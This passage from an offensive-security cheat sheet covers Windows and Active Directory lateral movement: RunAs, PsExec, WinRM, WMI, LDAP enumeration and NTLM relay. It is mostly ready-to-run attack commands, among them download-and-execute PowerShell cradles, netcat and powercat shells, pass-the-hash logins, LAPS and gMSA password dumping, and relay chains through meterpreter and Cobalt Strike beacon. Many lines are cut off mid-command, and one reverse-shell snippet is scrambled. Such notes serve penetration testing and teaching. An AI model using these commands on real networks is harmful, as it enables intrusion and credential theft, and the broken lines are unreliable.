0, // SERVICE_NO_CHANGE
origBinaryPath,
null,
null,
null,
null,
null,
null);

if (res)
{
Console.WriteLine("[+] Original service binary restored successfully!");
}

else
{
Console.WriteLine($"[-] Failed restoring original service binary: {GetLastErro
}
}
}
}

RunAs

Cmd

runas.exe

Cmd > runas /u:snovvcrash powershell.exe

PowerShell

PS > $cred = New-Object System.Management.Automation.PSCredential('<HOSTNAME>\<USERNAME>', $(C

Process.Start

PS > $computer = "PC01"


PS > [System.Diagnostics.Process]::Start("C:\Windows\System32\cmd.exe", "/c ping -n 1 10.10.13

Start-Process

PS > Start-Process -FilePath "C:\Windows\System32\cmd.exe" -ArgumentList "/c ping -n 1 10.10.1

Invoke-Command

With -Credential :

PS > Invoke-Command -ComputerName <HOSTNAME> -ScriptBlock { whoami } -Credential $cred

With -Session :

PS > $s = New-PSSession -ComputerName <HOSTNAME> -Credential $cred


PS > Invoke-Command -ScriptBlock { whoami } -Session $s
Invoke-RunAs

https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/management/Invoke-
RunAs.ps1

PS > Invoke-RunAs -UserName snovvcrash -Password 'Passw0rd!' -Domain MEGACORP -Cmd cmd.exe -Ar

Invoke-CommandAs

https://github.com/mkellerman/Invoke-CommandAs/blob/master/Invoke-CommandAs/Private/Invoke-
ScheduledTask.ps1

https://github.com/mkellerman/Invoke-CommandAs/blob/master/Invoke-CommandAs/Public/Invoke-
CommandAs.ps1
https://malicious.link/post/2020/run-as-system-using-evil-winrm/

PS > . .\Invoke-ScheduledTask.ps1
PS > . .\Invoke-CommandAs.ps1
PS > Invoke-CommandAs -ScriptBlock {whoami} -AsUser $cred

RunasCs

https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1

$ rlwrap nc -lvnp 1337


PS > Invoke-RunasCs -Username snovvcrash -Password 'Passw0rd!' -Domain megacorp.local -Command

SMB

PsExec

https://www.contextis.com/us/blog/lateral-movement-a-deep-look-into-psexec
https://blog.openthreatresearch.com/ntobjectmanager_rpc_smb_scm

psexec.py

$ psexec.py snovvcrash:'Passw0rd!'@192.168.11.1
$ rlwrap -cAr psexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 megacorp.local/snovvcrash@19
SPN-jacking

WinRM / PSRemoting
Windows Remote Management

https://www.bloggingforlogging.com/2018/01/24/demystifying-winrm/

https://www.powershellmagazine.com/2014/03/06/accidental-sabotage-beware-of-credssp/
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/network-vs-
interactive-logons

https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm

Enable WinRM
Using PowerShell (takes ~1m to be applied):

PS > Enable-PSRemoting -Force


PS > Set-Item wsman:\localhost\client\trustedhosts *

Remotely with CME:

$ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' -x 'powershell -enc RQBuAGEAYgBsAGUALQBQAFM

From Windows

https://0xdf.gitlab.io/2019/08/17/htb-helpline-win.html#enable-winrm

PS > winrm get winrm/config


PS > winrm set winrm/config/client '@{TrustedHosts="*"}'
PS > $sess = New-PSSession -ComputerName 192.168.11.1 -Credential $cred
PS > Enter-PSSession -Session $sess
PS > Copy-Item .\file.txt -Destination "C:\users\administrator\music\" -ToSession $sess
From Linux

Evil-WinRM

https://github.com/Hackplayers/evil-winrm

Basic syntax:

$ evil-winrm -u '[MEGACORP\]snovvcrash' -p 'Passw0rd!' -i 10.10.13.37 -s `pwd` -e `pwd`


$ evil-winrm -u '[MEGACORP\]snovvcrash' -H fc525c9683e8fe067095ba2ddc971889 -i 10.10.13.37 -s

Always use full username when authenticating as a domain user, because if there're 2 users
sharing the same name (a local user and a domain user), say WORKGROUP\Administrator
and MEGACORP\Administrator , and you're trying to authenticate as a domain admin without
providing the domain prefix, authentication will fail.

Execute a .NET binary:

*Evil-WinRM* PS > Invoke-Binary Rubeus.exe "asktgt, /domain:megacorp.local, /user:snovvcrash,

Spawn interactive bind shell with powercat.ps1 and Invoke-PSInject.ps1:

$ sed -i s/powercat/pwcat/g pwcat.ps1


$ echo 'powercat -l -p 1337 -e cmd.exe' >> pwcat.ps1
$ echo 'IEX(New-Object Net.WebClient).DownloadString(''http://10.10.13.37/pwcat.ps1'')' | icon
*Evil-WinRM* PS > Get-Process
*Evil-WinRM* PS > Invoke-PSInject.ps1
*Evil-WinRM* PS > Invoke-PSInject -ProcId <PID> -PoshCode <BASE64_CMD>
$ rlwrap nc 192.168.1.11 1337

pwsh

$ pwsh
PS > $sess = New-PSSession -ComputerName 192.168.11.1 -Credential $cred -Authentication Negoti
PS > Enter-PSSession -Session $sess

WMI

https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/
https://hideandsec.sh/books/cheatsheets-82c/page/wmi
PowerShell
Basic command to check if we have privileges to execute WMI:

PS > Get-WmiObject -Credential $cred -ComputerName PC01 -Namespace "root" -class "__Namespace"

Execute commands:

PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -Argumen
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -Argumen

WMI Enumeration

https://0xinfection.github.io/posts/wmi-basics-part-1/
https://0xinfection.github.io/posts/wmi-classes-methods-part-2/

https://0xinfection.github.io/posts/wmi-registry-part-3/
https://0xinfection.github.io/posts/wmi-recon-enum/

Invoke-LocalWMIEnum.ps1
Get-WmiObject -Class Win32_ComputerSystem | select BootupState,UserName,TotalPhysicalMemory,Sy
Get-WmiObject -Class Win32_OperatingSystem | fl *
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | select PSComputerName
Get-WmiObject Win32_Service | select Name,State,StartName,PathName | ? {$_.State -like "Runnin
Get-WmiObject -Class Win32_LoggedOnUser | select Antecedent,Dependent,PSComputerName | ft -Aut
Get-WmiObject -Class Win32_LogonSession | select AuthenticationPackage,LogonID,StartTime,Scope
Get-WmiObject -Class Win32_QuickFixEngineering | select PSComputerName,Description,HotFixID,In
Get-WmiObject -Class Win32_Share | select Type,Name,AllowMaximum,Description,Scope | ft -AutoS
Get-WmiObject -Class Win32_IP4RouteTable | select PSComputerName,Caption,Mask,Metric1,Protocol
Get-WmiObject -Class Win32_UserAccount | ft -AutoSize
Get-WmiObject -Class Win32_Group | ft -AutoSize

wmiexec.py

$ wmiexec.py -codec cp866 snovvcrash:'Passw0rd!'@192.168.1.11


$ wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 [email protected]

Get a PowerShell reverse-shell:


$
$ sudo
sudo python3 -m-lvnp
rlwrap nc http.server
443 80

$ wmiexec.py -silentcommand -nooutput snovvcrash:'Passw0rd!'@192.168.1.11 'powershell iEx (iWr

When loading the cradle from a semi-interactive shell, you can combine with Invoke-WmiMethod to
spawn a new PowerShell process:

wmiexec.py -silentcommand -nooutput snovvcrash:'Passw0rd!'@192.168.1.11 "powershell -enc $(ech

SharpWMI

https://github.com/GhostPack/SharpWMI

PS > .\SharpWMI.exe action=exec [username=MEGACORP\snovvcrash] [passw0rd=Passw0rd!] computerna

LDAP
Lightweight Directory Access Protocol

http://jxplorer.org/
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-
2003/cc772839(v=ws.10)?redirectedfrom=MSDN

http://www.kouti.com/tables/userattributes.htm

Theory
Some Extensible Match Matching Rules:

Rule Name OID Description

True if all bits from the attribute


LDAP_MATCHING_RULE_BIT 1.2.840.113556.1.4.803
match the value (bitwise AND)
_AND

LDAP_MATCHING_RULE_BIT_OR True if any bits from the attribut


1.2.840.113556.1.4.804
match the value (bitwise OR).

Used to provide a method to


1.2.840.113556.1.4.194 look up the ancestry of an obje
LDAP_MATCHING_RULE_IN_
1
CHAIN and is is limited to filters that
l t th DN

UserAccountControl

https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/

Decode UAC Values

http://woshub.com/decoding-ad-useraccountcontrol-value/

DecodeUserAccountControl.ps1
# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
$UACPropertyFlags = @(
"SCRIPT",
"ACCOUNTDISABLE",
"RESERVED",
"HOMEDIR_REQUIRED",
"LOCKOUT",
"PASSWD_NOTREQD",
"PASSWD_CANT_CHANGE",
"ENCRYPTED_TEXT_PWD_ALLOWED",
"TEMP_DUPLICATE_ACCOUNT",
"NORMAL_ACCOUNT",
"RESERVED",
"INTERDOMAIN_TRUST_ACCOUNT",
"WORKSTATION_TRUST_ACCOUNT",
"SERVER_TRUST_ACCOUNT",
"RESERVED",
"RESERVED",
"DONT_EXPIRE_PASSWORD",
"MNS_LOGON_ACCOUNT",
"SMARTCARD_REQUIRED",
"TRUSTED_FOR_DELEGATION",
"NOT_DELEGATED",
"USE_DES_KEY_ONLY",
"DONT_REQ_PREAUTH",
"PASSWORD_EXPIRED",
"TRUSTED_TO_AUTH_FOR_DELEGATION",
"RESERVED",
"PARTIAL_SECRETS_ACCOUNT"
"RESERVED"

"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
)
$Attributes = ""
1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-
Return $Attributes
}

Mitigations

https://github.com/zyn3rgy/LdapRelayScan

Scan for LDAP Singing and LDAP Channel Binding:

$ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.11 -u snovvcrash -p 'Passw0rd!'

LDAP Signing & LDAP Channel Binding

https://offsec.almond.consulting/bypassing-ldap-channel-binding-with-starttls.html

Property Name Property Path

HKLM\System\CurrentControlSet\Servi
LdapServerIntegrity
ces\NTDS\Parameters\

HKLM\System\CurrentControlSet\Servi
LdapEnforceChannelBinding
ces\NTDS\Parameters\

If LdapServerIntegrity is set to 2 , LDAP Signing is required:

PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapSer

If LdapEnforceChannelBinding is set to 2 , LDAP Channel Binding is always required:

PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnf

Tools

RSAT-AD-PowerShell

Install via Capabilities (Windows clients) or via Features (Windows servers):


# Servers
PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell
# Clients
PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LD

Install via ADModule:

https://github.com/samratashok/ADModule/blob/master/Import-ActiveDirectory.ps1

https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/ADModuleImport.ps1

PS > IEX(IWR "https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirec


PS > Import-ActiveDirectory
Or
PS > IEX(IWR "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/

Example Queries

List disabled users (when searching for users use objectCategory + objectClass filters):

PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl

Count users, groups and computers:

PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count


PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure)
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count

List users with DoesNotRequirePreAuth set (aka asreproastable):

PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth

List accounts with SPN(s) set (aka kerberoastable) and which are also in Protected Users group:

PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Pro


Or
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalNa

List all groups that j.doe is a member of:

PS > Get-ADPrincipalGroupMembership j.doe | select name


List all groups (including nested groups) that j doe is a member of:

PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,D


Or
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,O

List members of IT Support group through nested group membership:

PS > Get-ADGroupMember "IT Support" -Recursive

List users marked as trusted for delegation ( TRUSTED_FOR_DELEGATION UAC value is 524288 ):

PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountNam


Or
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Propertie

Find the number of users in the Helpdesk OU:

PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName


PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubT

Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all
groups that they are members of (including nested groups):

PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and

Find users with description field filled:

PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select s

Find users with a null password ( PASSWD_NOTREQD UAC value is 32 ):

PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1

Create a new domain user account:

PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=loc

List deleted AD objects (AD recycle bin):

PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDelete
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -Include

ldap3 (Python)
Check if anonymous bind is allowed:

>>> from ldap3 import Server, Connection, ALL


>>> s = Server('192.168.1.11', get_info=ALL)
>>> c = Connection(s, user='', password='')
>>> c.bind()
>>> print(s.info)

ldap-utils

ldapsearch

https://malicious.link/post/2022/ldapsearch-reference/

Install:

$ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y

Basic syntax:

$ ldapsearch -h 192.168.1.11 -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]

Get base naming contexts:

$ ldapsearch -h 192.168.1.11 -x -s base namingcontexts

Extract data for the whole domain catalog and then grep your way through:

$ ldapsearch -h 192.168.1.11 -x -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out


$ cat ldapsearch.out | grep -i memberof

Or filter out only what you need:

$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectCla

Get Remote Management Users group:

$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management User

Dump LAPS passwords:

$ ldapsearch -h 192.168.1.11 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd


Simple authentication with a plaintext password:

$ ldapsearch -H ldap://192.168.1.11:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w

SASL GSSAPI (Kerberos) authentication (there should be both A and PTR DNS records of the DC for this
to work):

$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | te

Analyze large output for anomalies by searching for unique strings:

$ cat ldapsearch.out | awk '{print $1}' | sort | uniq -c | sort -nr

ldapmodify

An example of removing SPNs and changing dNSHostName (see dNSHostName Spoofing):

$ ldapmodify -H ldap://DC01.megacorp.local -Y GSSAPI -f spoof.ldiff


$ ldapsearch -H ldap://DC01.megacorp.local -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCateg

spoof.ldiff
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: dc01.megacorp.local

windapsearch

https://github.com/ropnop/windapsearch
https://github.com/snovvcrash/windapsearch

Enumerate domain function functional level with LDAP anonymous bind:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u '' --functionality

Enumerate users in Protected Users group which are also trusted for unconstrained delegation:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p


Find what OU is the user John Doe part of:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p

Query LDAP for all domain computer accounts (+ try to resolve their IPs with -r flag) and save results into
a csv file:

$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p

go-windapsearch

https://github.com/ropnop/go-windapsearch

Find user accounts which require smart card authentication ( SMARTCARD_REQUIRED UAC value is
262144 ):

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --fi

Get password history size in the domain:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --fi

Search for service accounts configured for constrained delegation:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m computers -

Dump all users info:

$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m users --ful

ldapsearch-ad

https://github.com/yaap7/ldapsearch-ad

Enumerate password policy in the domain:

$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t pass-p

Run all checks:

$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t all


gMSADumper

https://github.com/micahvandeusen/gMSADumper

$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p 'Passw0rd!'


$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p fc525c9683e8f

ldeep

https://github.com/franc-pentest/ldeep

Enumerate ACEs of the AdminSDHolder object:

$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' -b 'CN=Sy

Convert SID to name:

$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' from_sid

Nmap NSE

$ nmap -n -Pn -sV --script ldap-rootdse 192.168.1.11 -p389


$ nmap -n -Pn -sV --script ldap-search 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-brute 192.168.1.11 -p389

LDAPmonitor

https://github.com/p0dalirius/LDAPmonitor

$ ./pyLDAPmonitor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11

BOFHound

https://www.fortalicesolutions.com/posts/bofhound-granularize-your-active-directory-reconnaissance-
game

https://github.com/fortalice/bofhound
https://github.com/fortalice/pyldapsearch
NTLM
NT / LM Hashes

https://blog.redforce.io/windows-authentication-and-attacks-part-1-ntlm/

Calculate NTLM

https://www.browserling.com/tools/ntlm-hash

With Python:

>>> import hashlib


>>> hashlib.new('md4', 'Passw0rd!'.encode('utf-16le')).hexdigest()

Responder Capture Structure

https://github.com/lgandx/Responder/blob/eb449bb061a8eb3944b96b157de73dea444ec46b/servers/S
MB.py#L149

https://ru.wikipedia.org/wiki/NTLMv2#NTLMv2
https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/cheatsheet/

Andrei Miroshnikov. Windows Security Monitoring: Scenarios and Patterns, Part III, pp. 330-333.

[SMB] NTLMv1 Hash and [SMB] NTLMv1-SSP Hash capture structure:

<Username>:<Domain>:<LMv1_Response>:<NTv1_Response>:<Server_Challenge>

[SMB] NTLMv2-SSP Hash capture structure:

<Username>:<Domain>:<Server_Challenge>:<LMv2_Response>:<NTv2_Response>

Capture NTLM on Windows

https://reqrypt.org/windivert.html
https://github.com/basil00/Divert
https://googleprojectzero.blogspot.com/2021/08/understanding-network-access-windows-app.html

DivertTCPconn

https://github.com/Arno0x/DivertTCPconn

Divert incoming SMB traffic on Victim to Victim's local port 8445, sent it through a reverse-forwarded port
(meterpreter session must be elevated) to Attacker's local 445 port and capture the hashes with Responder:

$ sudo ./Responder.py -I eth0 -Av


meterpreter > portfwd add -R -L 127.0.0.1 -l 445 -p 8445
meterpreter > execute -f divertTCPconn.exe -a "445 8445"

StreamDivert

https://github.com/jellever/StreamDivert

Divert all inbound TCP connections to port 445 (SMB) coming from 192.168.1.11 to 10.10.13.37 port 445:

Cmd > powershell -c "Add-Content conf.txt 'tcp < 445 192.168.1.11 -> 10.10.13.37 445'"
Cmd > .\StreamDivert.exe .\conf.txt -f -v

NTLM Relay

https://en.hackndo.com/ntlm-relay/
https://blog.fox-it.com/2017/05/09/relaying-credentials-everywhere-with-ntlmrelayx/
https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
https://www.secureauth.com/blog/playing-with-relayed-credentials/

https://www.secureauth.com/blog/we-love-relaying-credentials-a-technical-guide-to-relaying-credentials-
everywhere/
https://intrinium.com/smb-relay-attack-tutorial/

https://www.sans.org/blog/smb-relay-demystified-and-ntlmv2-pwnage-with-python/
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-
minutes.html
https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire
https://www.blackhillsinfosec.com/an-smb-relay-race-how-to-exploit-llmnr-and-smb-message-signing-
for-fun-and-profit/

https://clement.notin.org/blog/2020/11/16/ntlm-relay-of-adws-connections-with-impacket/
https://luemmelsec.github.io/Relaying-101/

https://www.thehacker.recipes/active-directory-domain-services/movement/lm-and-ntlm/relay
https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/
https://www.fortalicesolutions.com/posts/keeping-up-with-the-ntlm-relay
https://offsec.almond.consulting/ldap-relays-for-initial-foothold-in-dire-situations.html

Lateral Movement using Credentials Relaying (taso_x).pdf 2MB


PDF

Generate relay list with cme and enumerate local admins when relaying:

$ cme smb 192.168.2.0/24 --gen-relay-list out.txt


$ sudo ntlmrelayx.py -smb2support --no-http-server -tf out.txt --enum-local-admins -of net-ntl

Relay & catch hashes (via multi-relay):

$ sudo smbserver.py -smb2support -port 8445 share `pwd`


$ sudo ntlmrelayx.py -smb2support --no-http-server --no-wcf-server -tf targets.txt
$ cat targets.txt
smb://10.10.13.37
smb://127.0.0.1:8445

Relay NTLM2 responses obtained from Responder's proxy authentication (Responder's HTTP must be
Off ):
$ ntlmrelayx.py -tf relay.txt -smb2support --no-wcf-server -wh attacker.local --http-port 3128
$ sudo ./Responder.py -I eth0 -frd -v -P

CVE-2019-1040-scanner

https://github.com/fox-it/cve-2019-1040-scanner/blob/master/scan.py

$ python scan.py MEGACORP/snovvcrash:'Passw0rd!'@192.168.1.11


$ python scan.py -target-file DCs.txt MEGACORP/snovvcrash:'Passw0rd!'@placeholder.xyz

Relaying on Windows

meterpreter + SharpRelay

https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
https://github.com/pkb1s/SharpRelay

Divert incoming SMB traffic from Victim to Attacker's local 445 port through an elevated meterpreter session
and relay it to Target via MSF SOCKS server.

1. Add a static route to the Target through the 1st meterpreter session:

meterpreter > route add 192.168.1.11/32 1

2. Start MSF SOCKS server:

msf > use auxiliary/server/socks_proxy


msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf auxiliary(server/socks_proxy) > run -j

3. Forward a reverse port 8445 on Victim to local port 445 on Attacker and start diverting incoming SMB
traffic on Victim to Victim's local 8445 port:

meterpreter > portfwd add -R -L 127.0.0.1 -l 445 -p 8445


meterpreter > cd C:\\Windows\\System32\\drivers
meterpreter > upload /home/snovvcrash/www/WinDivert64.sys
msf post(windows/manage/execute_dotnet_assembly) > set SESSION 1
msf
msf post(windows/manage/execute_dotnet_assembly)
post(windows/manage/execute_dotnet_assembly) >
> set
set DOTNET_EXE /home/snovvcrash/www/SharpRe
ARGUMENTS relaysvc "C:\Windows\System32
msf post(windows/manage/execute_dotnet_assembly) > run

4. Relay the diverted traffic to Target through SOCKS:

$ sudo proxychains4 -q ntlmrelayx.py -t smb://192.168.1.11 -smb2support

When ran once, the driver must be unloaded or the host rebooted before trying again. The fake
service can be deleted with a PowerShell command:

PS > (sc.exe stop relaysvc) -and (sc.exe delete relaysvc)

beacon + PortBender

https://github.com/praetorian-inc/PortBender
https://rastamouse.me/ntlm-relaying-via-cobalt-strike/

Set SOCKS server & port forwarding, upload WinDivert driver and configure redirection with PortBender:

beacon> socks 1080


beacon> rportfwd 8445 127.0.0.1 445
beacon> cd C:\Windows\System32\drivers
beacon> upload /home/snovvcrash/www/WinDivert64.sys
beacon> PortBender redirect 445 8445

Relay the planet:

$ sudo proxychains4 -q ntlmrelayx.py -t smb://192.168.1.11 -smb2support --no-http-server --no-

Stop PortBender:

beacon> jobs
beacon> jobkill <JID>
beacon> kill <PID>

NTLMv1 Downgrade

https://github.com/NotMedic/NetNTLMtoSilverTicket

Client sends NTLMv1 response when LmCompatibilityLevel exists and is 2 or lower, which can be
downgraded to "NTLMv1 w/o SSP" when NtlmMinClientSec is 0x20 or lower:
Property Name Property Path

HKLM\SYSTEM\CurrentControlSet\Contr
LmCompatibilityLevel
ol\Lsa

HKLM\SYSTEM\CurrentControlSet\Contr
NtlmMinClientSec
ol\Lsa\MSV1_0

Check
Check with PowerShell:

PS > (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name LmCompatibilityLevel)


2
PS > $decValue = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ -Name Nt
PS > $hexValue = "0x" + [string]::Format("{0:x}", $decValue)
PS > $hexValue
0x20

Check with Seatbelt (example):

Cmd > .\Seatbelt.exe NTLMSettings

Exploit

Authentication Coercion

Exploit with Responder with a known challenge of 1122334455667788 (see Authentication Coercion
to trigger callbacks):

$ sudo ./Responder.py -I eth0 -v --lm --disable-ess

ntlmv1-multi + crack.sh

https://crack.sh/netntlm/
https://crack.sh/get-cracking/
https://crack.sh/cracking-ntlmv1-w-ess-ssp/

https://github.com/evilmog/ntlmv1-multi

Calculate the token:

$ python ntlmv1.py --ntlmv1 '<NTLMv1_RESPONSE_STRING>'

Check the final 2 bytes (4 characters) of the NT hash:

$ ~/tools/hashcat-utils/src/ct3_to_ntlm.bin <CT3> 1122334455667788

Password Spraying

Password Policy
Enumerate password policy in the domain:

